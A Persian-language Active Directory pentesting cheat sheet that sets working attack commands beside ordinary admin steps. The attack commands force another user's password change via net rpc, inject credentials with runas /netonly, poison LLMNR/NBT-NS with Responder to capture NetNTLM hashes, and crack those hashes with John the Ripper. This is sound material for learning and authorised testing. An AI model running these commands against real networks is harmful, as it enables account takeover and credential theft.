حمله Force Change Password Attack
اگر برخی نام کاربری/رمز عبور و نام های کاربری دیگر را پیدا کردیم، ممکن است بتوانیم رمز عبور کاربران دیگر را تغییر دهیم. کاربر نیاز به مجوز GenericAll برای تغییر رمز عبور کاربران دیگر دارد.
# -U: User credential who has the permission to change another user password
# -I: Target IP
# -S: Target server name
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE.LOCAL"
Microsoft Management Console (mmc)
برای تنظیم AD، این دستورالعملها را دنبال کنید:
۱. روی آیکون ویندوز راست کلیک کنید.
۲. روی "Run" کلیک کنید و "mmc" را وارد کنید سپس "OK" را کلیک کنید.
۳. در MMC، روی "File → Add or Remove Snap-ins" کلیک کنید.
۴. تمام سه "Active Directory…" snap-in را اضافه کنید.
۵. روی "Active Directory…" در پنل سمت چپ راستکلیک کنید و "Change Forest" را انتخاب کنید.
۶. دامنه را به عنوان Root domain وارد کنید و OK را کلیک کنید.
۷. روی "View → Advanced Features" کلیک کنید.
قرارداد نام گذاری (Naming Convention)
اگر فهرست نام های کاربری در Active Directory را پیدا کردیم، میتوانیم نام های کاربری را با قرارداد نام گذاری تغییر دهیم.
برای مثال:
john smith -> jsmith, j.smith, john.smith
michael pole -> mpole, m.pole, michael.pole
ssh dc.example.com\\<ad_username>@sub.dc.example.com
تزریق اعتبارنامه ها به حافظه (Inject Credentials into Memory)
# /netonly: All network communications will use these injected credentials for authentication.
runas.exe /netonly /user:<domain>\<username> cmd.exe
پیکربندی DNS (DNS Configuration)
# PowerShell
$dnsip = "<DC_IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip
حالا بررسی کنید که پیکربندی به درستی تنظیم شده است.
دانش پایه (Basic Knowledge)
مدیریت کاربر (User Management)
(Delegation)
در Active Directory، مدیر میتواند کاربر دیگری را برای مدیریت کاربران در یک واحد سازمانی (OU) Delegation کند، بدون privileges مدیر.
تنظیم (Setup)
"Active Directory Users and Computers" را باز کنید.
روی OU تارگت راست کلیک کنید و روی “Delegate Control…” کلیک کنید. سپس پنجره جدید باز میشود.
در پنجره، نام کاربری که میخواهید privilege مدیریت کاربران را به او Delegation کنید، وارد کنید.
وظایفی را که کاربر واگذارشده(Delegation) باید مدیریت کند، انتخاب کنید.
OK را کلیک کنید.
مدیریت کاربران (Manage Users)
به عنوان کاربر واگذارشده وارد شوید.
برای مثال، اگر میخواهید رمز عبور john را بازنشانی کنید، دستور زیر را در PowerShell اجرا کنید. سپس رمز عبور جدید را در پرامپت وارد کنید.
Set-ADAccountPassword john -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose
اولین باری که John پس از آن وارد سیستم میشود، میخواهیم John رمز عبور دلخواه خود را تغییر دهد نه رمزی که شما وارد کردید. برای این کار، دستور زیر را اجرا کنید.
Set-ADUser -ChangePasswordAtLogon $true -Identity john -Verbose
حالا وقتی John وارد سیستم میشود، از او خواسته میشود رمز عبور جدیدی تغییر دهد.
رهگیری احراز هویت NetNTLM (Intercept NetNTLM Authentication)
Responder را شروع کنید تا برای هر درخواست LLMNR، NBT-NS، WPAD گوش کند.
sudo responder -I <interface-like-eth0>
Responder را تا دریافت برخی درخواستها در حال اجرا نگه دارید.
اگر هش NTLM را دریافت کردید، آن را در ماشین محلی کرک کنید.
echo -n '<copied-NTLM-hash>' > hash.txt
john --format=netntlmv2 --wordlist=wordlist.txt hash.txt
#NoteADExploit
@KavehOffSec